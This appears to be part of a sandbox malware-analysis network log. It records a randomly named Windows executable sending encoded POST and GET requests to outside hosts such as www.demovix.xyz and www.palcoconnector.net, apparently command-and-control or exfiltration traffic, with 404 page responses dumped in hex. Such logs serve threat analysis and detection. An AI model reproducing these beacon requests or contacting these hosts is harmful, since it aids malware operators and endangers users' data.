Oct 8, 2024 15:35:10.239176989 CEST	1236	IN	Data Raw: 2c 31 34 2e 30 33 35 63 31 34 2e 35 30 34 2c 33 2e 38 38 39 2c 32 33 2e 31 31 2c 31 38 2e 37 39 39 2c 31 39 2e 32 32 31 2c 33 33 2e 33 30 33 6c 2d 31 35 2e 36 39 34 2c 35 38 2e 35 33 37 0a 09 09 09 43 33 36 30 2e 36 34 37 2c 34 35 31 2e 30 38 33 Data Ascii: ,14.035c14.504,3.889,23.11,18.799,19.221,33.303l-15.694,58.537C360.647,451.083,349.251,457.661,338.164,454.689z" /> <g id="antenna"> <line fill="#FFFFFF" stroke="#0E0620" stroke-width="3" stroke-linecap="round
Oct 8, 2024 15:35:10.244123936 CEST	1236	IN	Data Raw: 37 2c 32 31 2e 37 34 31 63 2d 37 2e 35 39 36 2c 34 2e 34 31 31 2d 31 37 2e 33 33 2c 31 2e 38 32 39 2d 32 31 2e 37 34 31 2d 35 2e 37 36 37 63 2d 31 2e 37 35 34 2d 33 2e 30 32 31 2d 32 2e 38 31 37 2d 35 2e 38 31 38 2d 32 2e 34 38 34 2d 39 2e 30 34 Data Ascii: 7,21.741c-7.596,4.411-17.33,1.829-21.741-5.767c-1.754-3.021-2.817-5.818-2.484-9.046C375.625,437.355,383.087,437.973,388.762,434.677z" /> </g> <g id="armL"> <path fill="#FFFFFF" stroke="#0E0620"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	60838	199.192.19.19	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:35:12.148328066 CEST	1765	OUT	POST /azuc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.demovix.xyz Origin: http://www.demovix.xyz Cache-Control: max-age=0 Content-Length: 1229 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.demovix.xyz/azuc/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 46 47 75 55 66 75 67 39 59 79 56 51 36 72 38 56 52 61 69 78 47 72 49 62 43 71 5a 51 4c 2f 52 6a 43 48 48 49 66 54 48 4f 77 6a 50 4f 56 48 32 32 51 61 4f 35 52 51 6e 4d 41 38 55 62 4c 2b 50 34 51 79 65 61 31 59 78 36 63 6c 64 4b 30 48 69 49 59 37 6f 67 2f 51 78 2b 32 67 70 48 47 47 30 56 35 66 35 58 48 43 72 77 6d 38 6f 36 77 68 78 35 75 32 6b 6b 61 72 7a 61 73 66 45 45 38 74 52 5a 57 67 64 7a 4e 35 4d 38 47 75 31 47 35 2b 72 74 4b 6c 78 6c 38 70 30 61 47 6b 71 66 69 39 70 2f 6f 36 68 53 44 34 43 75 44 37 6e 4e 6a 69 72 34 31 6a 75 62 6e 48 76 7a 47 52 63 38 37 7a 2f 4b 7a 4f 35 59 52 5a 66 2f 6e 78 44 61 74 76 56 72 6c 4f 49 36 55 4c 35 38 6a 67 49 72 56 78 59 5a 6c 6c 77 47 5a 30 53 50 7a 62 56 38 42 4b 4c 7a 37 79 67 51 7a 71 6c 30 74 43 54 47 73 38 79 4c 4d 38 6d 69 48 79 56 57 76 53 6f 77 48 38 73 65 4b 6b 61 78 79 73 73 74 2b 66 78 63 6d 54 72 30 30 78 39 42 6e 58 34 50 2f 2f 39 34 58 2b 63 6c 2f 62 68 6b 74 77 62 39 45 2f 68 54 42 2b 6b 50 56 43 76 57 67 49 43 46 4f 6e 47 50 53 [TRUNCATED] Data Ascii: tpTd=FGuUfug9YyVQ6r8VRaixGrIbCqZQL/RjCHHIfTHOwjPOVH22QaO5RQnMA8UbL+P4Qyea1Yx6cldK0HiIY7og/Qx+2gpHGG0V5f5XHCrwm8o6whx5u2kkarzasfEE8tRZWgdzN5M8Gu1G5+rtKlxl8p0aGkqfi9p/o6hSD4CuD7nNjir41jubnHvzGRc87z/KzO5YRZf/nxDatvVrlOI6UL58jgIrVxYZllwGZ0SPzbV8BKLz7ygQzql0tCTGs8yLM8miHyVWvSowH8seKkaxysst+fxcmTr00x9BnX4P//94X+cl/bhktwb9E/hTB+kPVCvWgICFOnGPSsXb3FMHV1oqBC8KvLosmZMVBwygGykyI2J9RjlbwKJwVEt3jXx6LfRGq82MsON1LrL2TA32IGoluylYJv+uYFtu8mKyZY93MXyGXKRplCnILGOcJagRnhVsbfMAzcrxeM59K9XozHyF4LUcvlf8zYajmQrAzA1tDEOUD2EeMybjVXIKbS4oT72AgszKofuM5voizabU5gxpx42QcnaQ6nABWkJZaHk4AZpA536x6p/0lG7QYHr68ugxH/MaZRj28AlPOLtSc4rNtAHLeJzIDPieAXJX2lxWpLWD1Rff34HaIwLko5m4muo1foxOgg4jw9R3qUxhtl8Eb/Br8Hi6Spm5pq6LsPbIJo7hgaFpsnbm0vxSKz6WCqmHx/dTAJK2S5GSL2yCLOsm9uBXofuanC8bw+NauF0FtBnA+W3KALVOc89WNbot0Aw5mahMwmzd3KGDr2KrfR0IHP3Dxm3SaQslTmnjlEIWT5jc6nYkaSA/6r/Lm146+mzELd+FsrYvZ/ayCzojWmhL4jNn+oe8HmMkH0SfrkZ2gvJ9qmXTUil4hJgyUoSv5XLh0wGItJqgjeKwXTLVhXT+zoRzwyqDXKSWF8eT+qwbJ+IPodnUhoXfvUQgFpPki5n/oLiR55ucuUIBAkjvoEZsZbPJ6ylAWtssRW9mpbKwPP/ [TRUNCATED]
Oct 8, 2024 15:35:12.826778889 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:35:12 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 16026 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="hamburger-menu"> <button class="burger" data-state="closed"> <span></span> <span></span> <span></span> </button></div><main> <div class="container"> <div class="row"> <div class="col-md-6 align-self-center"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 800 600"> <g> <defs> <clipPath id="GlassClip"> <path d="M380.857,346.164c-1.247,4.6 [TRUNCATED]
Oct 8, 2024 15:35:12.826798916 CEST	1236	IN	Data Raw: 2e 31 39 36 2c 31 30 2e 30 36 63 2d 39 2e 33 33 32 2c 33 2e 33 37 37 2d 32 36 2e 32 2c 37 2e 38 31 37 2d 34 32 2e 33 30 31 2c 33 2e 35 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2d 32 38 2e 34 38 35 2d 31 36 2e 35 39 39 2d 33 34 2e 38 Data Ascii: .196,10.06c-9.332,3.377-26.2,7.817-42.301,3.5 s-28.485-16.599-34.877-24.192c-3.101-3.684-4.177-8.66-2.93-13.311l7.453-27.798c0.756-2.82,3.181-4.868,6.088-5.13 c6.755-0.61,20.546-0.608,41.785,5.087s33.181,12.591,
Oct 8, 2024 15:35:12.826811075 CEST	1236	IN	Data Raw: 35 2d 31 32 2e 34 30 38 0a 09 09 09 63 30 2d 33 2e 33 37 38 2d 31 35 2e 33 34 37 2d 34 2e 39 38 38 2d 34 30 2e 32 34 33 2d 37 2e 32 32 35 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 72 69 6e 67 53 68 Data Ascii: 5-12.408c0-3.378-15.347-4.988-40.243-7.225" /> <path id="ringShadow" opacity="0.5" fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" d="M483.985,127.43c23.462,1.5
Oct 8, 2024 15:35:12.826915026 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 Data Ascii: <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="320.135" y1="132.746" x2="320.135" y2="153.952" /> <line fill="none"
Oct 8, 2024 15:35:12.826931000 CEST	896	IN	Data Raw: 20 20 20 20 78 31 3d 22 34 32 36 2e 38 37 31 22 20 79 31 3d 22 33 38 36 2e 31 37 35 22 20 78 32 3d 22 34 33 37 2e 34 37 34 22 20 79 32 3d 22 33 38 36 2e 31 37 35 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 Data Ascii: x1="426.871" y1="386.175" x2="437.474" y2="386.175" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="48
Oct 8, 2024 15:35:12.826945066 CEST	1236	IN	Data Raw: 32 39 35 2e 31 38 39 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c Data Ascii: 295.189" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="244.032" y1="547.539" x2="244.032" y2="555.898" /
Oct 8, 2024 15:35:12.826956987 CEST	1236	IN	Data Raw: 34 2e 32 31 35 22 20 79 31 3d 22 34 31 31 2e 31 34 36 22 20 78 32 3d 22 34 37 36 2e 33 37 38 22 20 79 32 3d 22 34 31 31 2e 31 34 36 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 4.215" y1="411.146" x2="476.378" y2="411.146" /> </g> </g> <g id="circlesBig"> <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10"
Oct 8, 2024 15:35:12.827085972 CEST	448	IN	Data Raw: 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 78 3d 22 32 38 33 2e 35 32 31 22 20 63 79 3d 22 Data Ascii: stroke-linecap="round" stroke-miterlimit="10" cx="283.521" cy="568.033" r="7.952" /> <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" cx="
Oct 8, 2024 15:35:12.827245951 CEST	1236	IN	Data Raw: 22 20 63 78 3d 22 32 35 33 2e 32 39 22 20 63 79 3d 22 32 32 39 2e 32 34 22 20 72 3d 22 32 2e 36 35 31 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c 6c 3d 22 23 30 45 30 36 32 30 22 20 63 78 3d 22 Data Ascii: " cx="253.29" cy="229.24" r="2.651" /> <circle fill="#0E0620" cx="434.824" cy="263.931" r="2.651" /> <circle fill="#0E0620" cx="183.708" cy="544.176" r="2.651" /> <circle fill="#0E0620" cx="382.5
Oct 8, 2024 15:35:12.827416897 CEST	1236	IN	Data Raw: 2c 31 34 2e 30 33 35 63 31 34 2e 35 30 34 2c 33 2e 38 38 39 2c 32 33 2e 31 31 2c 31 38 2e 37 39 39 2c 31 39 2e 32 32 31 2c 33 33 2e 33 30 33 6c 2d 31 35 2e 36 39 34 2c 35 38 2e 35 33 37 0a 09 09 09 43 33 36 30 2e 36 34 37 2c 34 35 31 2e 30 38 33 Data Ascii: ,14.035c14.504,3.889,23.11,18.799,19.221,33.303l-15.694,58.537C360.647,451.083,349.251,457.661,338.164,454.689z" /> <g id="antenna"> <line fill="#FFFFFF" stroke="#0E0620" stroke-width="3" stroke-linecap="round
Oct 8, 2024 15:35:12.832540035 CEST	1236	IN	Data Raw: 37 2c 32 31 2e 37 34 31 63 2d 37 2e 35 39 36 2c 34 2e 34 31 31 2d 31 37 2e 33 33 2c 31 2e 38 32 39 2d 32 31 2e 37 34 31 2d 35 2e 37 36 37 63 2d 31 2e 37 35 34 2d 33 2e 30 32 31 2d 32 2e 38 31 37 2d 35 2e 38 31 38 2d 32 2e 34 38 34 2d 39 2e 30 34 Data Ascii: 7,21.741c-7.596,4.411-17.33,1.829-21.741-5.767c-1.754-3.021-2.817-5.818-2.484-9.046C375.625,437.355,383.087,437.973,388.762,434.677z" /> </g> <g id="armL"> <path fill="#FFFFFF" stroke="#0E0620"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	60839	199.192.19.19	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:35:14.689215899 CEST	472	OUT	GET /azuc/?WX=rnWllP5PLlhLLtj&tpTd=IEG0cbQocDdgsf0hXa+uAMZkMIV+L9dmDWmvXBjU8TDCB1WiaKjeRQjMK7ZBG/72TlyV3qB8EHQj0nSZZfMRzC5BhxJ3N2wZ76F+LQzPhJ8EwwRHzQ== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.demovix.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Oct 8, 2024 15:35:15.288995981 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:35:15 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 16026 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="hamburger-menu"> <button class="burger" data-state="closed"> <span></span> <span></span> <span></span> </button></div><main> <div class="container"> <div class="row"> <div class="col-md-6 align-self-center"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 800 600"> <g> <defs> <clipPath id="GlassClip"> <path d="M380.857,346.164c-1.247,4.6 [TRUNCATED]
Oct 8, 2024 15:35:15.289017916 CEST	1236	IN	Data Raw: 31 2d 34 2e 36 36 38 2c 38 2e 34 32 31 2d 39 2e 31 39 36 2c 31 30 2e 30 36 63 2d 39 2e 33 33 32 2c 33 2e 33 37 37 2d 32 36 2e 32 2c 37 2e 38 31 37 2d 34 32 2e 33 30 31 2c 33 2e 35 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2d 32 38 2e Data Ascii: 1-4.668,8.421-9.196,10.06c-9.332,3.377-26.2,7.817-42.301,3.5 s-28.485-16.599-34.877-24.192c-3.101-3.684-4.177-8.66-2.93-13.311l7.453-27.798c0.756-2.82,3.181-4.868,6.088-5.13 c6.755-0.61,20.546-0.608,41.785,5.087
Oct 8, 2024 15:35:15.289030075 CEST	1236	IN	Data Raw: 38 35 2d 35 2e 35 35 35 2c 31 34 31 2e 30 38 35 2d 31 32 2e 34 30 38 0a 09 09 09 63 30 2d 33 2e 33 37 38 2d 31 35 2e 33 34 37 2d 34 2e 39 38 38 2d 34 30 2e 32 34 33 2d 37 2e 32 32 35 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: 85-5.555,141.085-12.408c0-3.378-15.347-4.988-40.243-7.225" /> <path id="ringShadow" opacity="0.5" fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" d="M483.985,12
Oct 8, 2024 15:35:15.289057016 CEST	1236	IN	Data Raw: 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 Data Ascii: </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="320.135" y1="132.746" x2="320.135" y2="153.952" /> <li
Oct 8, 2024 15:35:15.289068937 CEST	896	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 31 3d 22 34 32 36 2e 38 37 31 22 20 79 31 3d 22 33 38 36 2e 31 37 35 22 20 78 32 3d 22 34 33 37 2e 34 37 34 22 20 79 32 3d 22 33 38 36 2e 31 37 35 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: x1="426.871" y1="386.175" x2="437.474" y2="386.175" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10"
Oct 8, 2024 15:35:15.289079905 CEST	1236	IN	Data Raw: 3d 22 32 33 35 2e 33 38 37 22 20 79 32 3d 22 32 39 35 2e 31 38 39 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ="235.387" y2="295.189" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="244.032" y1="547.539" x2="244.032"
Oct 8, 2024 15:35:15.289093018 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 78 31 3d 22 34 38 34 2e 32 31 35 22 20 79 31 3d 22 34 31 31 2e 31 34 36 22 20 78 32 3d 22 34 37 36 2e 33 37 38 22 20 79 32 3d 22 34 31 31 2e 31 34 36 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f Data Ascii: x1="484.215" y1="411.146" x2="476.378" y2="411.146" /> </g> </g> <g id="circlesBig"> <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-mite
Oct 8, 2024 15:35:15.289103985 CEST	448	IN	Data Raw: 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 33 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 78 Data Ascii: troke-width="3" stroke-linecap="round" stroke-miterlimit="10" cx="283.521" cy="568.033" r="7.952" /> <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10"
Oct 8, 2024 15:35:15.289494038 CEST	1236	IN	Data Raw: 65 20 66 69 6c 6c 3d 22 23 30 45 30 36 32 30 22 20 63 78 3d 22 32 35 33 2e 32 39 22 20 63 79 3d 22 32 32 39 2e 32 34 22 20 72 3d 22 32 2e 36 35 31 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c 6c Data Ascii: e fill="#0E0620" cx="253.29" cy="229.24" r="2.651" /> <circle fill="#0E0620" cx="434.824" cy="263.931" r="2.651" /> <circle fill="#0E0620" cx="183.708" cy="544.176" r="2.651" /> <circle fill="#0E
Oct 8, 2024 15:35:15.289736032 CEST	1236	IN	Data Raw: 33 2d 31 39 2e 32 32 31 6c 35 32 2e 33 34 39 2c 31 34 2e 30 33 35 63 31 34 2e 35 30 34 2c 33 2e 38 38 39 2c 32 33 2e 31 31 2c 31 38 2e 37 39 39 2c 31 39 2e 32 32 31 2c 33 33 2e 33 30 33 6c 2d 31 35 2e 36 39 34 2c 35 38 2e 35 33 37 0a 09 09 09 43 Data Ascii: 3-19.221l52.349,14.035c14.504,3.889,23.11,18.799,19.221,33.303l-15.694,58.537C360.647,451.083,349.251,457.661,338.164,454.689z" /> <g id="antenna"> <line fill="#FFFFFF" stroke="#0E0620" stroke-width="3" stroke
Oct 8, 2024 15:35:15.294135094 CEST	1236	IN	Data Raw: 2e 38 32 39 2c 31 37 2e 33 33 2d 35 2e 37 36 37 2c 32 31 2e 37 34 31 63 2d 37 2e 35 39 36 2c 34 2e 34 31 31 2d 31 37 2e 33 33 2c 31 2e 38 32 39 2d 32 31 2e 37 34 31 2d 35 2e 37 36 37 63 2d 31 2e 37 35 34 2d 33 2e 30 32 31 2d 32 2e 38 31 37 2d 35 Data Ascii: .829,17.33-5.767,21.741c-7.596,4.411-17.33,1.829-21.741-5.767c-1.754-3.021-2.817-5.818-2.484-9.046C375.625,437.355,383.087,437.973,388.762,434.677z" /> </g> <g id="armL"> <path fill="#FFFFFF" s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	60840	208.91.197.27	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:35:20.766876936 CEST	749	OUT	POST /bnrz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.palcoconnector.net Origin: http://www.palcoconnector.net Cache-Control: max-age=0 Content-Length: 193 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.palcoconnector.net/bnrz/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 44 53 5a 51 77 74 75 50 74 4c 35 6a 52 4c 6f 48 44 70 41 51 4c 72 6f 69 6f 78 76 50 68 70 41 39 61 4b 34 48 6a 31 35 51 51 4a 6e 51 4a 46 77 32 31 7a 4a 51 33 64 4e 62 61 4b 32 6a 70 57 39 7a 36 45 51 36 31 30 31 35 6a 52 70 58 77 7a 71 34 69 4e 73 74 6a 50 41 57 6d 66 4a 47 69 41 2b 6c 2b 33 4b 79 39 55 47 62 46 2b 6c 71 2f 49 65 77 6b 48 6e 65 5a 50 6e 41 31 61 37 5a 78 4e 6b 31 38 63 51 42 73 47 4e 45 49 45 6d 48 76 77 32 55 36 61 37 69 54 4e 34 78 72 44 44 31 57 51 32 35 6c 6f 35 4d 46 59 2f 73 38 46 4f 61 48 2f 41 63 34 66 79 41 53 78 48 2f 65 35 41 34 Data Ascii: tpTd=DSZQwtuPtL5jRLoHDpAQLroioxvPhpA9aK4Hj15QQJnQJFw21zJQ3dNbaK2jpW9z6EQ61015jRpXwzq4iNstjPAWmfJGiA+l+3Ky9UGbF+lq/IewkHneZPnA1a7ZxNk18cQBsGNEIEmHvw2U6a7iTN4xrDD1WQ25lo5MFY/s8FOaH/Ac4fyASxH/e5A4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	60841	208.91.197.27	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:35:23.320000887 CEST	773	OUT	POST /bnrz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.palcoconnector.net Origin: http://www.palcoconnector.net Cache-Control: max-age=0 Content-Length: 217 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.palcoconnector.net/bnrz/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 44 53 5a 51 77 74 75 50 74 4c 35 6a 53 72 34 48 46 4f 55 51 63 62 6f 68 6e 52 76 50 30 5a 41 35 61 4b 38 48 6a 77 59 4e 51 36 44 51 4a 6b 41 32 30 33 64 51 30 64 4e 62 50 36 32 6d 78 32 39 34 36 45 63 45 31 77 78 35 6a 52 56 58 77 32 57 34 69 2f 45 69 35 2f 41 55 72 2f 4a 45 73 67 2b 6c 2b 33 4b 79 39 55 53 78 46 2b 39 71 38 39 57 77 6b 6d 6e 64 51 76 6e 42 32 61 37 5a 31 4e 6b 4c 38 63 52 78 73 43 56 75 49 42 36 48 76 78 6d 55 36 4f 76 39 64 4e 34 33 6d 6a 43 36 52 69 65 30 6a 62 70 34 62 71 7a 76 73 47 2b 6c 4e 2b 67 43 70 74 37 62 48 6d 48 59 5a 65 4a 51 5a 71 72 5a 5a 61 54 68 2b 53 50 6f 44 68 4e 52 75 31 37 70 71 67 3d 3d Data Ascii: 